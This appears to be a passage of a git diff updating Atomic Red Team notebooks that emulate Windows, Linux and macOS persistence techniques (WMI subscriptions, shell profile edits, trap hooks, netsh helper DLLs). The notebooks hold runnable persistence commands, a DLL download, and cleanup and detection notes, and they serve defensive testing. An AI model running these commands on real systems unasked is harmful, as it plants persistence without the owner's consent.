\"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2ca33fcf", + "id": "a47f40a4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cecf6bb6", + "id": "3c03042d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nc:\\windows\\system32\\wbem\\mofcomp.exe PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\n```" + "```powershell\nc:\\windows\\system32\\wbem\\mofcomp.exe \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2cfd9e70", + "id": "f1b1228d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9c1b9d37", + "id": "84d0ed0c", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam_consumer'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam_filter'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "33e2aa71", + "id": "3f404f64", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bfc70bc7", + "id": "dde1b377", "metadata": {}, "source": "## Detection\nMonitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)" } @@ -137,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.004.ipynb b/playbook/tactics/persistence/T1546.004.ipynb index cb57e514..e91c1b6f 100644 --- a/playbook/tactics/persistence/T1546.004.ipynb +++ b/playbook/tactics/persistence/T1546.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "facfe556", + "id": "fb17f270", "metadata": {}, "source": "# T1546.004 - Unix Shell Configuration Modification\nAdversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup." }, { "cell_type": "markdown", - "id": "0fdbfb6e", + "id": "c1246bcc", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "99cda7cb", + "id": "c635021c", "metadata": {}, "source": [ "### Atomic Test #1 - Add command to .bash_profile", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3e2493ad", + "id": "8de7a510", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9ab36a85", + "id": "40956bc9", "metadata": {}, "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.bash_profile > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.bash_profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6d1edc77", + "id": "76a5c3cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7645606c", + "id": "3a88310f", "metadata": {}, "source": [ "### Atomic Test #2 - Add command to .bashrc", @@ -61,31 +61,65 @@ { "cell_type": "code", "execution_count": null, - "id": "634517b4", + "id": "d83e597d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c6379ba1", + "id": "691d6ca3", "metadata": {}, "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.bashrc > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.bashrc\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7dbdfdc7", + "id": "d2f729ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "57d48198", + "id": "f459ef63", "metadata": {}, "source": [ - "### Atomic Test #3 - Append to the system shell profile", + "### Atomic Test #3 - Add command to .shrc", + "Adds a command to the .shrc file of the current user\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho 'echo \"Hello from Atomic Red Team T1546.004\" > /tmp/T1546.004' >> ~/.shrc\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8506bd21", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "bae807ef", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.shrc > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.shrc\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dbbccdca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "68b5b908", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Append to the system shell profile", "An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time \"any\" user logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -96,31 +130,31 @@ { "cell_type": "code", "execution_count": null, - "id": "bc4d8866", + "id": "42369349", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8b29368d", + "id": "d19031f0", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here! T1546.004//\" /etc/profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d25b2b6f", + "id": "592a69da", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "c650e494", + "id": "a27d61ee", "metadata": {}, "source": [ - "### Atomic Test #4 - Append commands user shell profile", + "### Atomic Test #5 - Append commands user shell profile", "An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the \"user\" logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -131,31 +165,31 @@ { "cell_type": "code", "execution_count": null, - "id": "b9756fa7", + "id": "459ce998", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "39e7073a", + "id": "c7fc0133", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here... T1546.004//\" ~/.profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d50c764", + "id": "75ab957a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "d177f033", + "id": "66e3d3ee", "metadata": {}, "source": [ - "### Atomic Test #5 - System shell profile scripts", + "### Atomic Test #6 - System shell profile scripts", "An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time \"any\" user logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -166,28 +200,63 @@ { "cell_type": "code", "execution_count": null, - "id": "6f9a0ec7", + "id": "a758f9db", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "b80c6591", + "id": "d95eb229", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here... T1546.004//\" /etc/profile.d/bash_completion.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ae70a16d", + "id": "f5252c9a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "4a6f1859", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Create/Append to .bash_logout", + "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an \"interactive login shell session\" i.e. via the console, SSH, /bin/bash -l or su -l . \n\nThis test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --create-home --shell /bin/bash art\nsu --login art\necho 'echo \"Atomic Red Team was here... T1546.004\" >> $HOME/art.txt' >> $HOME/.bash_logout\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6d39540f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "cf9d818c", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -fr art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d834fdc7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "ef9f6b4c", + "id": "8df18514", "metadata": {}, "source": "## Detection\nWhile users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n" } @@ -195,13 +264,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.005.ipynb b/playbook/tactics/persistence/T1546.005.ipynb index f2e74236..11c159aa 100644 --- a/playbook/tactics/persistence/T1546.005.ipynb +++ b/playbook/tactics/persistence/T1546.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e23f5354", + "id": "8b68bbd9", "metadata": {}, "source": "# T1546.005 - Trap\nAdversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)" }, { "cell_type": "markdown", - "id": "f5250b29", + "id": "9c39dbdd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "98f5c7ee", + "id": "bcc1490c", "metadata": {}, "source": [ "### Atomic Test #1 - Trap EXIT", @@ -27,31 +27,76 @@ { "cell_type": "code", "execution_count": null, - "id": "76befb81", + "id": "9a831d87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "2c5ec577", + "id": "94c5ebf6", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2ccdb5fa", + "id": "06841384", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c77c6363", + "id": "c69eae66", + "metadata": {}, + "source": "### Atomic Test #2 - Trap EXIT (freebsd)\nLaunch bash shell with command arg to create TRAP on EXIT.\nThe trap executes script that writes to /tmp/art-fish.txt\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if bash is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v bash)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y bash)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9f8eee3c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "2504a528", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nbash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" EXIT'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e72d9304", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "865ad2f4", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d18ac33b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "06d79d9b", "metadata": {}, "source": [ - "### Atomic Test #2 - Trap SIGINT", + "### Atomic Test #3 - Trap SIGINT", "Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n", "**Supported Platforms:** macos, linux", "#### Attack Commands: Run with `sh`\n", @@ -61,28 +106,73 @@ { "cell_type": "code", "execution_count": null, - "id": "cd8c8289", + "id": "40549b36", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2" + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ce37ff5a", + "id": "6c745be8", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "878bacdf", + "id": "619961e9", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "513dd7be", + "metadata": {}, + "source": "### Atomic Test #4 - Trap SIGINT (freebsd)\nLaunch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if bash is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v bash)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y bash)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b22b2b27", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "402638a0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nbash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" SIGINT && kill -SIGINT $$'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "debb56e6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "a0785080", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba0a4748", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "23d60df3", + "id": "6a209068", "metadata": {}, "source": "## Detection\nTrap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts." } @@ -90,13 +180,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.006.ipynb b/playbook/tactics/persistence/T1546.006.ipynb index 5b38a79c..0dc5542d 100644 --- a/playbook/tactics/persistence/T1546.006.ipynb +++ b/playbook/tactics/persistence/T1546.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "26cf2c4a", + "id": "b8c52558", "metadata": {}, "source": "# T1546.006 - LC_LOAD_DYLIB Addition\nAdversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)" }, { "cell_type": "markdown", - "id": "1e0e1283", + "id": "d28de7e6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ddde57ea", + "id": "acbd1d26", "metadata": {}, "source": "## Detection\nMonitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.007.ipynb b/playbook/tactics/persistence/T1546.007.ipynb index bbbbe3a8..2b424749 100644 --- a/playbook/tactics/persistence/T1546.007.ipynb +++ b/playbook/tactics/persistence/T1546.007.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "39aeb66a", + "id": "020933f2", "metadata": {}, "source": "# T1546.007 - Netsh Helper DLL\nAdversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)" }, { "cell_type": "markdown", - "id": "77fa3553", + "id": "e72591a2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c1c85724", + "id": "9710e616", "metadata": {}, - "source": "### Atomic Test #1 - Netsh Helper DLL Registration\nYou can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Helper DLL must exist on disk at specified location (#{helper_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n\n```" + "source": "### Atomic Test #1 - Netsh Helper DLL Registration\nYou can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Helper DLL must exist on disk at specified location (#{helper_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b99e30a1", + "id": "b635ed43", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ed5cdad8", + "id": "c4c46548", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnetsh.exe add helper PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n```" + "```command_prompt\nnetsh.exe add helper \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "42fe018b", + "id": "f2af677a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7c3243c6", + "id": "82d31ca6", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nnetsh.exe delete helper PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\n```" + "source": "#### Cleanup: \n```cmd\nnetsh.exe delete helper \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a84f0ba0", + "id": "36d495d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "46bd0a7b", + "id": "b58b3c40", "metadata": {}, "source": "## Detection\nIt is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.008.ipynb b/playbook/tactics/persistence/T1546.008.ipynb index 88465ca1..f2aa1ddc 100644 --- a/playbook/tactics/persistence/T1546.008.ipynb +++ b/playbook/tactics/persistence/T1546.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "56f449c1", + "id": "29c621e9", "metadata": {}, "source": "# T1546.008 - Accessibility Features\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe" }, { "cell_type": "markdown", - "id": 